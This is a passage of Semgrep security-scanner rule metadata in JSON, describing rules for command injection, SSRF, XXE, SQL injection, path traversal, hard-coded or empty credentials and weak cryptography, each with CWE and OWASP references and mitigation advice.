[https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If unverified user data can reach the `exec` method it can result in Remote Code Execution"},"helpUri":"https://semgrep.dev/r/javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","id":"javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","name":"javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"help":{"markdown":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network2)\n","text":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network2","id":"python.lang.compatibility.python37.python37-compatibility-ipv4network2","name":"python.lang.compatibility.python37.python37-compatibility-ipv4network2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv4network2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSH Password detected"},"help":{"markdown":"SSH Password detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-ssh-password.detected-ssh-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SSH Password detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-ssh-password.detected-ssh-password","id":"generic.secrets.security.detected-ssh-password.detected-ssh-password","name":"generic.secrets.security.detected-ssh-password.detected-ssh-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-ssh-password.detected-ssh-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","id":"python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","name":"python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"help":{"markdown":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","id":"python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","name":"python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","id":"java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","name":"java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jdo-sqli.jdo-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","id":"java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","name":"java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jdo-sqli.jdo-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder.tainted-xml-decoder)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","id":"java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","name":"java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xml-decoder.tainted-xml-decoder"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`"},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n - [https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta](https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`"},"helpUri":"https://semgrep.dev/r/python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","id":"python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","name":"python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","id":"python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","name":"python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","id":"python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","name":"python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","id":"javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","name":"javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead."},"help":{"markdown":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","id":"java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","name":"java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.web-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.web-client.ssrf","id":"csharp.lang.security.ssrf.web-client.ssrf","name":"csharp.lang.security.ssrf.web-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.web-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","id":"python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","name":"python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially 